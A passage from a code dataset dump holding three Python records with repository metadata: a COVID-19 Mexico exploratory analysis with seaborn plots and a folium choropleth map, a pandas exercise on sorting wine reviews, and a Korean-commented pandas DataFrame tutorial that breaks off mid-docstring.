pd.read_csv(\"14.11.20 - COVID19MEXICO.csv\", encoding = \"ISO-8859-1\") # Covid-19 data\n\n\n\n\n\n##### Brief statistic of each DataFrame\n\n# Mexican states data\nprint(' Mexican states data '.center(35,'#'))\ndf_est.info()\ndf_est.describe()\nprint(' ')\n\n# Covid-19 data\nprint(' Covid-19 data '.center(35,'#'))\ndf_cov.info()\ndf_cov.describe()\n\n\n\n\n\n##### Number of missing values for each DataFrame\n\nfor dataframe,name in zip([df_est,df_cov],['Mexican states data','Covid-19 data']):\n    print(f' {name}  n\u00ba of NaNs: '.center(55,'#'))\n    if dataframe.isna().sum().sum() == 0:\n        print('0 NaNs in total dataset')\n    else:\n        for column in dataframe.columns:\n            if dataframe[column].isna().sum() != 0:\n                print(f'{column} has {round(dataframe[column].isna().sum()/dataframe.shape[0],3)}% of NaNs')\n\n\n# # Exploratory Data Analysis\n\n\n\n\n##### Transform all the mexican states from number to name\n\nstates_num = sorted(df_cov['ENTIDAD_RES'].unique())\nstates_name = df_est['Estado'].loc[:31].values\n\ndict_states = dict()\nfor num,name in zip(states_num,states_name):\n    dict_states[num] = name\nprint(dict_states)\n\ndf_cov['ENTIDAD_RES'] = df_cov['ENTIDAD_RES'].map(dict_states)\n\n\n\n\n\n##### Transform all the mexican National Health System institutions from number to name\n\ndict_sector = {1:'CRUZ ROJA', 2:'DIF',3:'ESTATAL',4:'IMSS',5:'IMSS-BIENESTAR',6:'ISSSTE',7:'MUNICIPAL',8:'PEMEX',\n               9:'PRIVADA',10:'SEDENA',11:'SEMAR',12:'SSA',13:'UNIVERSITARIO',99:'NO ESPECIFICADO'}\n\ndf_cov['SECTOR'] = df_cov['SECTOR'].map(dict_sector)\n\n\n\n\n\n##### Create a new colum with the time difference between been positive in COVID-19 and die\n# If the person didn't die, time difference is 0\n\ndf_cov['FECHA_SINTOMAS'] = df_cov['FECHA_SINTOMAS'].apply(lambda x: datetime.strptime(x, '%Y-%m-%d'))\ndf_cov['FECHA_DEF'] = df_cov['FECHA_DEF'].replace('9999-99-99', '2001-01-01')\n\ndf_cov['FECHA_DEF'] = df_cov['FECHA_DEF'].apply(lambda x: datetime.strptime(x, '%Y-%m-%d'))\ndf_cov['DIFERENCIA'] = df_cov['FECHA_DEF'].sub(df_cov['FECHA_SINTOMAS'], axis=0)\n\ndf_cov['DIFERENCIA'] = df_cov['DIFERENCIA'] / np.timedelta64(1, 'D')\ndf_cov.loc[df_cov['DIFERENCIA']<0,'DIFERENCIA'] = 0\n\n\n# ## Positive COVID-19 cases\n\n\n\n\n##### Analysis of total number of positive cases\n# Catalogo and Descriptores show all the information about the variables. \n# CLASIFICACION_FINAL has 1, 2 or 3 when a person is COVID-19 confirmed.\n\ndf_positive_cases =  df_cov[df_cov['CLASIFICACION_FINAL'].isin([1,2,3])]\n\nfig, axes = plt.subplots(1, 4, figsize=(25, 5))\n\n# 1st graph - Gender of positive cases\naxes[0].set_title('Gender of positive cases')\nplot = sns.barplot(x = ['Women','Men'],y = df_positive_cases['SEXO'].value_counts().values, palette = 'pastel', ax = axes[0])\nplot.set(ylim = (450000,550000), ylabel = None, yticklabels = [])\nplot.tick_params(left=False)\nautolabel(plot)\n\n# 2nd graph - Result of diagnostic (positive or not)\naxes[1].set_title('Result of diagnostic')\npos, neg = [df_positive_cases.shape[0], df_cov.query('CLASIFICACION_FINAL == 7').shape[0]]\nplot = sns.barplot(x = ['Positive','Negatuve'],y = [pos,neg], palette = 'pastel', ax = axes[1])\nplot.set(ylim = (800000,1500000), ylabel = None, yticklabels = [])\nplot.tick_params(left=False)\nautolabel(plot)\n\n# 3rd graph - Age distribution of positives cases\naxes[2].set_title('Age distribution of positive cases')\nplot = sns.distplot(df_positive_cases.EDAD, ax = axes[2])\nplot.set(ylabel = None, yticklabels = [])\nplot.tick_params(left=False)\n\n# 4th graph - National Health System institution that provided the care\naxes[3].set_title('National Health System institution \\n that provided the care')\ndata = df_positive_cases.SECTOR.value_counts()\nplot = sns.barplot(x = data.index[:5], y = data.values[:5],\n                   palette = 'pastel', ax = axes[3])\nplot.set(ylim = (10000,650000), ylabel = None, yticklabels = [])\nplot.tick_params(left=False)\nautolabel(plot)\n\nplt.tight_layout()\nplt.show()\n\n\n\n\n\n##### Total number of positive cases by state\n\n# Data Extraction\nprint(f' Total number of positive cases = {df_positive_cases.shape[0]} | % of total = {(df_positive_cases.shape[0]/df_cov.shape[0]):.3}% '.center(100,'#'))\ndata = df_positive_cases.groupby('ENTIDAD_RES').count()['CLASIFICACION_FINAL'].sort_values(ascending = False)\n\n# Data Visualization\ngraph_bar(data, 'Total number of positive cases by state')\n\n\n\n\n\n##### Mean age of positive cases by state\n\n# Data Extraction\nprint(f' Total mean age of positive cases = {(df_positive_cases.EDAD.mean()):.3} '.center(100,'#'))\ndata = df_positive_cases.groupby('ENTIDAD_RES').mean()['EDAD'].sort_values(ascending = False)\n\n# Data Visualization\ngraph_bar(data, 'Mean age of positive cases by state')\n\n\n\n\n\n##### Common illness on total positive cases \n\n# Data Extraction\nill_name = ['DIABETES','EPOC','ASMA','INMUSUPR','HIPERTENSION','OTRA_COM','CARDIOVASCULAR','OBESIDAD','RENAL_CRONICA']\ndict_ill_pos = dict()\nfor name in ill_name:\n    dict_ill_pos[name] = df_positive_cases.query(f'{name} == 1').shape[0]\nprint(f' Most common illness on total positive cases  = {max(dict_ill_pos, key=dict_ill_pos.get)} '.center(100,'#'))\n\n# Data Visualization\ngraph_pie(dict_ill_pos,'Common illness on total positive cases')\n\n\n\n\n\n##### Common illness on total positive cases by state\n\nfor state in sorted(df_cov.ENTIDAD_RES.unique()):\n    print(f' {state} '.center(100,'#'))\n    # Data Extraction\n    ill_name = ['DIABETES','EPOC','ASMA','INMUSUPR','HIPERTENSION','OTRA_COM','CARDIOVASCULAR','OBESIDAD','RENAL_CRONICA']\n    dict_ill_pos = dict()\n    for name in ill_name:\n        dict_ill_pos[name] = df_positive_cases.query(f'{name} == 1 & ENTIDAD_RES == \"{state}\"').shape[0]\n    print(f'Most common illness on total positive cases at {state} = {max(dict_ill_pos, key=dict_ill_pos.get)}')\n    # Data Visualization\n    graph_pie(dict_ill_pos,f'Common illness on total positive cases at {state}')\n\n\n# ## Deceased COVID-19 cases\n\n\n\n\n##### Analysis of total number of deceased cases\n# FECHA_DEF has 9999-99-99 when a person COVID-19 confirmed. didn't die.\n\ndf_deceased_cases =  df_cov[df_cov['FECHA_DEF'] !='9999-99-99']\n\nfig, axes = plt.subplots(1, 3, figsize=(25, 5))\n\n# 1st graph - Gender of positive cases\naxes[0].set_title('Gender of deceased cases')\nplot = sns.barplot(x = ['Women','Men'],y = df_deceased_cases['SEXO'].value_counts().values, palette = 'pastel', ax = axes[0])\nplot.set(ylim = (1200000,1400000), ylabel = None, yticklabels = [])\nplot.tick_params(left=False)\nautolabel(plot)\n\n# 2nd graph - Age distribution of deceased cases\naxes[1].set_title('Age distribution of deceased cases')\nplot = sns.distplot(df_deceased_cases.EDAD, ax = axes[1])\nplot.set(ylabel = None, yticklabels = [])\nplot.tick_params(left=False)\n\n# 3rd graph - Time between FECHA_SINTOMA and FECHA_DEF when a person die of COVID-19\naxes[2].set_title('Days between been positive \\n in COVID-19 and die')\ndata = df_cov['DIFERENCIA'].value_counts()\nplot = sns.barplot(x = data.index[1:15], y = data.values[1:15], \n                   palette = 'pastel', order = data.index[1:15], ax = axes[2])\nplot.set(ylim = (None,10000), ylabel = None, yticklabels = [])\nplot.tick_params(left=False)\nautolabel(plot)\n\nplt.tight_layout()\nplt.show()\n\n\n\n\n\n##### Total number of deceased cases by state\n\n# Data Extraction\nprint(f' Total number of deceased cases = {df_deceased_cases.shape[0]} | % of total = {(df_deceased_cases.shape[0]/df_cov.shape[0]):.3}% '.center(100,'#'))\ndata = df_deceased_cases.groupby('ENTIDAD_RES').count()['CLASIFICACION_FINAL'].sort_values(ascending = False)\n\n# Data Visualization\ngraph_bar(data, 'Total number of deceased cases by state')\n\n\n\n\n\n##### Mean age of deceased cases by state\n\n# Data Extraction\nprint(f' Total mean age of deceased cases = {(df_deceased_cases.EDAD.mean()):.3} '.center(100,'#'))\ndata = df_deceased_cases.groupby('ENTIDAD_RES').mean()['EDAD'].sort_values(ascending = False)\n\n# Data Visualization\ngraph_bar(data, 'Mean age of deceased cases by state')\n\n\n\n\n\n##### Common illness on total deceased cases \n\n# Data Extraction\nill_name = ['DIABETES','EPOC','ASMA','INMUSUPR','HIPERTENSION','OTRA_COM','CARDIOVASCULAR','OBESIDAD','RENAL_CRONICA']\ndict_ill_dec = dict()\nfor name in ill_name:\n    dict_ill_dec[name] = df_deceased_cases.query(f'{name} == 1').shape[0]\nprint(f' Most common illness on total deceased cases  = {max(dict_ill_dec, key=dict_ill_dec.get)} '.center(100,'#'))\n\n# Data Visualization\ngraph_pie(dict_ill_dec,'Common illness on total deceased cases')\n\n\n\n\n\n##### Common illness on total positive cases by state\n\nfor state in sorted(df_cov.ENTIDAD_RES.unique()):\n    print(f' {state} '.center(100,'#'))\n    # Data Extraction\n    ill_name = ['DIABETES','EPOC','ASMA','INMUSUPR','HIPERTENSION','OTRA_COM','CARDIOVASCULAR','OBESIDAD','RENAL_CRONICA']\n    dict_ill_dec = dict()\n    for name in ill_name:\n        dict_ill_dec[name] = df_deceased_cases.query(f'{name} == 1 & ENTIDAD_RES == \"{state}\"').shape[0]\n    print(f'Most common illness on total positive cases at {state} = {max(dict_ill_dec, key=dict_ill_dec.get)}')\n    # Data Visualization\n    graph_pie(dict_ill_dec,f'Common illness on total positive cases at {state}')\n\n\n# # Interactive map\n\n\n\n\n##### Replace the name of the states in the DataFrame with the json -- to avoid missing information\n\nwith open(\"mexico22.json\") as f:\n    data = json.load(f)\n    \nstates_json = list()\nfor i in range(32):\n    states_json.append(data['features'][i]['properties']['name'])\n    \nstates_json = sorted(states_json)\nstates_df = sorted(df_cov.ENTIDAD_RES.unique())\nprint('In json the differences appear as:',sorted(set(states_json) - set(states_df)))\nprint('While in the DataFrame the differences appear as:',sorted(set(states_df) - set(states_json)))\n\ndict_states = dict()\nfor json,df in zip(sorted(set(states_json) - set(states_df)),sorted(set(states_df) - set(states_json))):\n    dict_states[df] = json\n    \ndf_cov['ENTIDAD_RES'] = df_cov['ENTIDAD_RES'].replace(dict_states)\n\n\n\n\n\n##### Number of confirmed cases and deceased cases on Mexico (dataset)\n\ndata = gpd.read_file(\"mexico22.json\").sort_values('name',ascending = True).reset_index(drop = True)\ndata.rename(columns = {'name': \"States\"}, inplace=True)\ndata['Positives'] = df_cov[(df_cov['CLASIFICACION_FINAL'].isin([1,2,3])) & (~(df_cov['ENTIDAD_NAC'].isin([97,98,99])))].groupby('ENTIDAD_RES')                     .count()['CLASIFICACION_FINAL'].values\ndata['Deaths'] = df_cov[(~(df_cov['FECHA_DEF'] =='2001-01-01')) & (~(df_cov['ENTIDAD_NAC'].isin([97,98,99])))].groupby('ENTIDAD_NAC')                  .count()['CLASIFICACION_FINAL'].values\ndata\n\n\n\n\n\n##### Number of confirmed cases on Mexico (Map)\n# Check the json's path before running it\n\n# Creation of the map\nmexico_map = folium.Map(location=[23.634501, -102.552784], zoom_start=5.5, tiles = None)\nfolium.TileLayer('http://tile.stamen.com/watercolor/{z}/{x}/{y}.png', name = \"Watercolor map\", control = False, attr = \"toner-bcg\").add_to(mexico_map)\nmexico_geo = r\"mexico22.json\"\n\n# Adding confirmed cases layer\nchoropleth = folium.Choropleth(\n    name='Confirmed cases',\n    geo_data = mexico_geo,\n    data = data,\n    columns = ['States','Positives'],\n    key_on = 'feature.properties.name',\n    fill_color = 'YlOrRd', \n    fill_opacity = 0.65, \n    line_opacity = 0.5,\n    threshold_scale = list(data['Positives'].quantile([0, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 1])),\n    overlay= False)\n\nfor key in choropleth._children:\n    if key.startswith('color_map'):\n        del(choropleth._children[key])\nchoropleth.add_to(mexico_map)\n\n# Adding deceased cases layer\nchoropleth = folium.Choropleth(\n    name='Deceased cases',\n    geo_data = mexico_geo,\n    data = data,\n    columns = ['States','Deaths'],\n    key_on = 'feature.properties.name',\n    fill_color = 'YlOrBr', \n    fill_opacity = 0.65, \n    line_opacity = 0.5,\n    threshold_scale = list(data['Deaths'].quantile([0, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 1])),\n    overlay= False)\n\nfor key in choropleth._children:\n    if key.startswith('color_map'):\n        del(choropleth._children[key])\nchoropleth.add_to(mexico_map)\n\n# Adding pop-up tooltips\nstyle_function = lambda x: {'fillColor': '#ffffff', \n                            'color':'#000000', \n                            'fillOpacity': 0.1, \n                            'weight': 0.1}\n\nhighlight_function = lambda x: {'fillColor': '#000000', \n                                'color':'#000000', \n                                'fillOpacity': 0.50, \n                                'weight': 0.1}\n\ndata_Geo = gpd.GeoDataFrame(data , geometry = data.geometry)\n\npop_up = folium.features.GeoJson(\n    data_Geo,\n    style_function = style_function, \n    control = False,\n    highlight_function = highlight_function, \n    tooltip = folium.features.GeoJsonTooltip(\n        fields=['States','Positives', 'Deaths'],\n        aliases=['State: ','Number of COVID-19 confirmed cases: ', 'Number of COVID-19 deceased cases: '],\n        style=(\"background-color: white; color: #333333; font-family: arial; font-size: 12px;\")))\nmexico_map.add_child(pop_up)\nmexico_map.keep_in_front(pop_up)\n\n# To control the layers\nfolium.LayerControl(collapsed=False).add_to(mexico_map)\n\nmexico_map\n\n", "meta": {"hexsha": "b64a3fbaba200202559bf81291781c5dd285d16d", "size": 14943, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/1-Covid19-Mexico-Exploratory-Data-Analysis.py", "max_stars_repo_name": "sergiomlop/Covid-19-situation-Mexico", "max_stars_repo_head_hexsha": "018def7ca4360070f4ea5696fd26b99683ceb91d", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-01-05T11:29:34.000Z", "max_stars_repo_stars_event_max_datetime": "2021-01-05T11:29:34.000Z", "max_issues_repo_path": "python/1-Covid19-Mexico-Exploratory-Data-Analysis.py", "max_issues_repo_name": "sergiomlop/Covid-19-situation-Mexico", "max_issues_repo_head_hexsha": "018def7ca4360070f4ea5696fd26b99683ceb91d", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "python/1-Covid19-Mexico-Exploratory-Data-Analysis.py", "max_forks_repo_name": "sergiomlop/Covid-19-situation-Mexico", "max_forks_repo_head_hexsha": "018def7ca4360070f4ea5696fd26b99683ceb91d", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.9294871795, "max_line_length": 201, "alphanum_fraction": 0.6803854648, "include": true, "reason": "import numpy", "num_tokens": 4156, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4493926197162523, "lm_q2_score": 0.13117322206357784, "lm_q1q2_score": 0.05894827789977295}}
{"text": "\"\"\"\nData Organization II - Sorting a DataFrame\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nwine_reviews = pd.read_csv('../winemag-data-130k.csv')\n\n# Using this DataFrame, sort the rows reverse alphabetically based on the 'country' column.\n\nwine_ratings = wine_reviews[['title', 'country', 'rating', 'price']]\n\n\n\n\n# Now sort the DataFrame's rows based on price from highest to lowest.\n\n", "meta": {"hexsha": "f8f1ff70a15a29231d009ff1c9f5fecfdbaaf94b", "size": 385, "ext": "py", "lang": "Python", "max_stars_repo_path": "pset_pandas1_wine_reviews/sorting/p2.py", "max_stars_repo_name": "mottaquikarim/pydev-psets", "max_stars_repo_head_hexsha": "9749e0d216ee0a5c586d0d3013ef481cc21dee27", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 5, "max_stars_repo_stars_event_min_datetime": "2019-04-08T20:05:37.000Z", "max_stars_repo_stars_event_max_datetime": "2019-12-04T20:48:45.000Z", "max_issues_repo_path": "pset_pandas1_wine_reviews/sorting/p2.py", "max_issues_repo_name": "mottaquikarim/pydev-psets", "max_issues_repo_head_hexsha": "9749e0d216ee0a5c586d0d3013ef481cc21dee27", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 8, "max_issues_repo_issues_event_min_datetime": "2019-04-15T15:16:05.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-12T10:33:32.000Z", "max_forks_repo_path": "pset_pandas1_wine_reviews/sorting/p2.py", "max_forks_repo_name": "mottaquikarim/pydev-psets", "max_forks_repo_head_hexsha": "9749e0d216ee0a5c586d0d3013ef481cc21dee27", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2019-04-10T00:14:42.000Z", "max_forks_repo_forks_event_max_datetime": "2020-02-26T20:35:21.000Z", "avg_line_length": 21.3888888889, "max_line_length": 91, "alphanum_fraction": 0.7298701299, "include": true, "reason": "import numpy", "num_tokens": 88, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.46101677931231594, "lm_q2_score": 0.1276526369372765, "lm_q1q2_score": 0.05885000755154759}}
{"text": "import numpy as np\nimport pandas as pd\n\nfrom pandas import DataFrame as df         # DataFrame\uc73c\ub85c \uc791\uc131\ud574\uc11c \ub09c \uc5d0\ub7ec\ub294 df\ub85c \ubc14\uafb8\uae30\n\n# # \ud30c\uc77c \uc77d\uc5b4\uc624\uae30\n# # csv_test = pd.read_csv(\"test_csv_file.csv\")\n# # print(csv_test)\n# # #    ID LAST_NAME  AGE\n# # # 0   1       KIM   30\n# # # 1   2      CHOI   25\n# # # 2   3       LEE   41\n# # # 3   4      PARK   19\n# # # 4   5       LIM   36\n# # print(csv_test.shape)\n# # # (5, 3)\n# #\n# # text_test = pd.read_csv(\"test_text_file.txt\",sep=\"|\")\n# # print(text_test)\n# # #    ID  A  B  C  D\n# # # 0  C1  1  2  3  4\n# # # 1  C2  5  6  7  8\n# # # 2  C3  1  3  5  7\n# # text_test = pd.read_csv(\"test_text_file.txt\",sep=\"|\",index_col='ID')               #index_col= : index\ub85c \uc0ac\uc6a9\ud558\uace0\uc790 \ud558\ub294 column name\n# # print(text_test)\n# # #     A  B  C  D\n# # # ID\n# # # C1  1  2  3  4\n# # # C2  5  6  7  8\n# # # C3  1  3  5  7\n# # text_test = pd.read_csv(\"test_text_file.txt\",sep=\"|\",index_col=0)               #index_col= : index\ub85c \uc0ac\uc6a9\ud558\uace0\uc790 \ud558\ub294 column number\n# # print(text_test)\n# # #     A  B  C  D\n# # # ID\n# # # C1  1  2  3  4\n# # # C2  5  6  7  8\n# # # C3  1  3  5  7\n# #\n# # print(\"=\"*250)\n# #\n# # text_test = pd.read_csv(\"text_without_column_name.txt\",sep=\"|\")             # \uccab\uc904\uc744 \ud5e4\ub354\ub85c \uc778\uc2dd\ud574 \uc815\ubcf4\ub97c \uc783\uc74c\n# # print(text_test)\n# # #    C1  1  2  3  4\n# # # 0  C2  5  6  7  8\n# # # 1  C3  1  3  5  7\n# # text_test = pd.read_csv(\"text_without_column_name.txt\",sep=\"|\",header=None)             # header=None : \ud5e4\ub354 \uc5c6\uc74c\uc744 \uc778\uc2dd\n# # print(text_test)\n# # #     0  1  2  3  4\n# # # 0  C1  1  2  3  4\n# # # 1  C2  5  6  7  8\n# # # 2  C3  1  3  5  7\n# # text_test = pd.read_csv(\"text_without_column_name.txt\",sep=\"|\",header=None,names=['ID','A','B','C','D'])             # names= : \ud5e4\ub354\uc5d0 \uc774\ub984 \ubd80\uc5ec\n# # print(text_test)\n# # #    ID  A  B  C  D\n# # # 0  C1  1  2  3  4\n# # # 1  C2  5  6  7  8\n# # # 2  C3  1  3  5  7\n# # text_test = pd.read_csv(\"text_without_column_name.txt\",sep=\"|\",header=None,names=['ID','A','B','C','D'],index_col='ID')\n# # print(text_test)\n# # #     A  B  C  D\n# # # ID\n# # # C1  1  2  3  4\n# # # C2  5  6  7  8\n# # # C3  1  3  5  7\n#\n# #\ubd84\uc11d \uacb0\uacfc\ub97c \ud30c\uc77c\ub85c \uc800\uc7a5\n#\n# data = {\n#     'id' : ['a1','a2','a3','a4','a5'],\n#     'x1' : [1,2,3,4,5],\n#     'x2' : [3.0,4.5,3.2,4.0,3.5]\n# }\n# #\uc544\ub798\uc640 \uac19\uc774 \uc791\uc131\ud558\uba74 \ud589\ubc88\ud638\uac00 \ud568\uaed8 \uc0dd\uc131\n# data_df = DataFrame(data)\n# print(data_df)\n# #    id  x1   x2\n# # 0  a1   1  3.0\n# # 1  a2   2  4.5\n# # 2  a3   3  3.2\n# # 3  a4   4  4.0\n# # 4  a5   5  3.5\n#\n# data_df = DataFrame(data, index=['a1','a2','a3','a4','a5'])\n# print(data_df)\n#\n# print(\"=\"*50)\n#\n# data_df_2 = data_df.reindex(['a1','a2','a3','a4','a5','a6'])\n# print(data_df_2)\n# #      id   x1   x2\n# # a1   a1  1.0  3.0\n# # a2   a2  2.0  4.5\n# # a3   a3  3.0  3.2\n# # a4   a4  4.0  4.0\n# # a5   a5  5.0  3.5\n# # a6  NaN  NaN  NaN\n#\n# # data_df_2.to_csv() : DataFrame\uc744 csv\ub85c \uc800\uc7a5\ud560 \ub54c \uc0ac\uc6a9\n# data_df_2.to_csv('data_df_2.csv',sep=',',na_rep='NaN')\n\n\n#DataFrame\uc18d\uc131\uc791\uc5c5\n#index : \ud589\uc774\ub984\uc744 \ubd80\uc5ec\ud558\ub294 \uc18d\uc131 dataframe\uc744 \ub9cc\ub4e4\ub54c \uc9c1\uc811 \uc9c0\uc815 \uac00\ub2a5\n#copy\uc758 \ucd08\uae30\uac12 : false\ndf_1=df(data =np.arange(12).reshape(3,4))\nprint(df_1)\n#    0  1   2   3\n# 0  0  1   2   3\n# 1  4  5   6   7\n# 2  8  9  10  11\ndf_1=df(data =np.arange(12).reshape(3,4),index=['r0','r1','r2'])\nprint(df_1)\n#     0  1   2   3\n# r0  0  1   2   3\n# r1  4  5   6   7\n# r2  8  9  10  11\ndf_1=df(data =np.arange(12).reshape(3,4),index=['r0','r1','r2'],dtype=int,columns=['c0','c1','c2','c3'])\nprint(df_1)\n#     c0  c1  c2  c3\n# r0   0   1   2   3\n# r1   4   5   6   7\n# r2   8   9  10  11\n\n#\ud589\uacfc \uc5f4 \uc804\ud658\ndf_2=df(df_1.T)\nprint(df_2)\n#     r0  r1  r2\n# c0   0   4   8\n# c1   1   5   9\n# c2   2   6  10\n# c3   3   7  11\nprint(df_1.T)\n#     r0  r1  r2\n# c0   0   4   8\n# c1   1   5   9\n# c2   2   6  10\n# c3   3   7  11\n\nprint(df_1.axes)                        #axis : \ucd95\uc815\ubcf4\n# [Index(['r0', 'r1', 'r2'], dtype='object'), Index(['c0', 'c1', 'c2', 'c3'], dtype='object')]\nprint(df_1.dtypes)                      #data_type\uc815\ubcf4\n# c0    int32\n# c1    int32\n# c2    int32\n# c3    int32\n# dtype: object\nprint(df_1.size)                        #\ub370\uc774\ud130\uc758 \uc0ac\uc774\uc988 \ud655\uc778\n# 12\n\nprint(type(df_1))                       #\uc790\ub8cc\uad6c\uc870\n# <class 'pandas.core.frame.DataFrame'\nprint(df_1.values)                      #\ucd94\ucd9c\ub41c \uc790\ub8cc\n# [[ 0  1  2  3]\n#  [ 4  5  6  7]\n#  [ 8  9 10 11]]\nprint(type(df_1.values))                #\ucd94\ucd9c\ub41c \uc790\ub8cc\uad6c\uc870\n# <class 'numpy.ndarray'>\n\ndf_2=df(data={\n    'class_1' : ['a','a','b','b','c'],\n    'var_1' : np.arange(5),\n    'var_2' : np.random.rand(5)},\n    index=['r0','r1','r2','r3','r4'])\nprint(df_2)\n#    class_1  var_1     var_2\n# r0       a      0  0.531274\n# r1       a      1  0.175335\n# r2       b      2  0.959343\n# r3       b      3  0.442552\n# r4       c      4  0.862076\n\ndf_2=df({                                                           # data = : \uc18d\uc131\uc744 \uc9c0\uc815\ud558\uc9c0 \uc54a\uc544\ub3c4 \uae30\ubcf8\uac12\uc73c\ub85c \uc9c0\uc815\ub428\n    'class_1' : ['a','a','b','b','c'],\n    'var_1' : np.arange(5),\n    'var_2' : np.random.rand(5)},\n    index=['r0','r1','r2','r3','r4'])\nprint(df_2)\n#    class_1  var_1     var_2\n# r0       a      0  0.531274\n# r1       a      1  0.175335\n# r2       b      2  0.959343\n# r3       b      3  0.442552\n# r4       c      4  0.862076\n\n#index \ud655\uc778\nprint(df_2.index)\n# Index(['r0', 'r1', 'r2', 'r3', 'r4'], dtype='object')\nprint(df_2.ix[2:])                      #index\ub97c \ud65c\uc6a9\ud55c \uc2ac\ub77c\uc774\uc2f1 : [2:] =>2\ubc88\ubd80\ud130 \ub9c8\uc9c0\ub9c9\uae4c\uc9c0(\ud589\ubc94\uc704 \ucc38\uc870)\n#    class_1  var_1     var_2\n# r2       b      2  0.614414\n# r3       b      3  0.611415\n# r4       c      4  0.213260\nprint(df_2.ix[2])\nprint(df_2.head(3))                                 # \uc55e\uc5d0\uc11c 3\ubc88\uc9f8\uae4c\uc9c0 \uc2ac\ub77c\uc774\uc2f1\n#    class_1  var_1     var_2\n# r0       a      0  0.346856\n# r1       a      1  0.461321\n# r2       b      2  0.079013\n# print(df_2.tail(3))                                 # \ub4a4\uc5d0\uc11c 3\ubc88\uc9f8\uae4c\uc9c0 \uc2ac\ub77c\uc774\uc2f1\n# #    class_1  var_1     var_2\n# # r2       b      2  0.079013\n# # r3       b      3  0.221049\n# # r4       c      4  0.100560\n#\n# print(df_2.columns)\n# # Index(['class_1', 'var_1', 'var_2'], dtype='object')\n# print(df_2['class_1'])\n# # r0    a\n# # r1    a\n# # r2    b\n# # r3    b\n# # r4    c\n# # Name: class_1, dtype: object\n#\n# #class_1\uacfc var_2 \uceec\ub7fc \ucd9c\ub825\n# print(df_2)\n# print(df_2[['class_1','var_2']])            #r\uc5b8\uc5b4 : c()\n# #     class_1     var_2\n# # r0       a  0.333455\n# # r1       a  0.527994\n# # r2       b  0.003908\n# # r3       b  0.513808\n# # r4       c  0.119298\n#\n# idx = ['r0','r1','r2','r3','r4']\n#\n# df_1 = df({'c1' : np.arange(5),\n#            'c2' : np.random.randn(5)},\n#           index=idx)\n# print(df_1)\n# #     c1        c2\n# # r0   0  0.421806\n# # r1   1  1.287233\n# # r2   2  0.028156\n# # r3   3 -0.591526\n# # r4   4  0.287460\n#\n# new_idx = ['r0','r1','r2','r5','r6']\n# # df_1 = df_1.reindex(new_idx)\n# # print(df_1)\n# # #      c1        c2\n# # # r0  0.0  0.475256\n# # # r1  1.0  0.491309\n# # # r2  2.0  0.864039\n# # # r5  NaN       NaN\n# # # r6  NaN       NaN\n#\n# # df_1 = df_1.reindex(new_idx,fill_value=0)\n# # print(df_1)\n# # #     c1        c2\n# # # r0   0 -0.062061\n# # # r1   1  0.132808\n# # # r2   2 -0.049169\n# # # r5   0  0.000000\n# # # r6   0  0.000000\n#\n# # df_1 = df_1.reindex(new_idx,fill_value='missing')\n# # print(df_1)\n# # #          c1       c2\n# # # r0        0  1.29382\n# # # r1        1  -0.3048\n# # # r2        2  1.52637\n# # # r5  missing  missing\n# # # r6  missing  missing\n#\n# df_1 = df_1.reindex(new_idx,fill_value='NA')                # fill_value= : \uc704\uc5d0 \ub0b4\uc6a9 \uc8fc\uc11d\uc774\uc5ec\uc57c \ud568(\ub370\uc774\ud130\uac00 \uc5c6\uc5b4\uc57c \ud574\uc11c)\n# print(df_1)\n# #     c1         c2\n# # r0   0 -0.0427524\n# # r1   1   -2.05168\n# # r2   2    1.90008\n# # r5  NA         NA\n# # r6  NA         NA\n#\n#\n# #\uc2dc\uacc4\uc5f4 data : \uc2dc\uac04\uc758 \ud750\ub984\uc5d0 \ub530\ub77c \ub2ec\ub77c\uc9d0(\ub0b4\uc6a9 \uc548\uc5d0 \uc2dc\uac04\uc758 \ubcc0\uc218\uac00 \uc788\ub2e4.)\n#\n# #help(pd.date_range)\n# # date_range(start=None, end=None, periods=None, freq=None, tz=None, normalize=False, name=None, closed=None, **kwargs)\n# #     Return a fixed frequency DatetimeIndex.\n# #\n# #     Parameters\n# #     ----------\n# #     start : str or datetime-like, optional\n# #         Left bound for generating dates.\n# #     end : str or datetime-like, optional\n# #         Right bound for generating dates.\n# #     periods : integer, optional\n# #         Number of periods to generate.\n# #     freq : str or DateOffset, default 'D' (calendar daily)\n# #         Frequency strings can have multiples, e.g. '5H'. See\n# #         :ref:`here <timeseries.offset_aliases>` for a list of\n# #         frequency aliases.\n# #     tz : str or tzinfo, optional\n# #         Time zone name for returning localized DatetimeIndex, for example\n# #         'Asia/Hong_Kong'. By default, the resulting DatetimeIndex is\n# #         timezone-naive.\n# #     normalize : bool, default False\n# #         Normalize start/end dates to midnight before generating date range.\n# #     name : str, default None\n# #         Name of the resulting DatetimeIndex.\n# #     closed : {None, 'left', 'right'}, optional\n# #         Make the interval closed with respect to the given frequency to\n# #         the 'left', 'right', or both sides (None, the default).\n# #     **kwargs\n# #         For compatibility. Has no effect on the result.\n# #\n# #     Returns\n# #     -------\n# #     rng : DatetimeIndex\n# #\n# #     See Also\n# #     --------\n# #     pandas.DatetimeIndex : An immutable container for datetimes.\n# #     pandas.timedelta_range : Return a fixed frequency TimedeltaIndex.\n# #     pandas.period_range : Return a fixed frequency PeriodIndex.\n# #     pandas.interval_range : Return a fixed frequency IntervalIndex.\n# #\n# #     Notes\n# #     -----\n# #     Of the four parameters ``start``, ``end``, ``periods``, and ``freq``,\n# #     exactly three must be specified. If ``freq`` is omitted, the resulting\n# #     ``DatetimeIndex`` will have ``periods`` linearly spaced 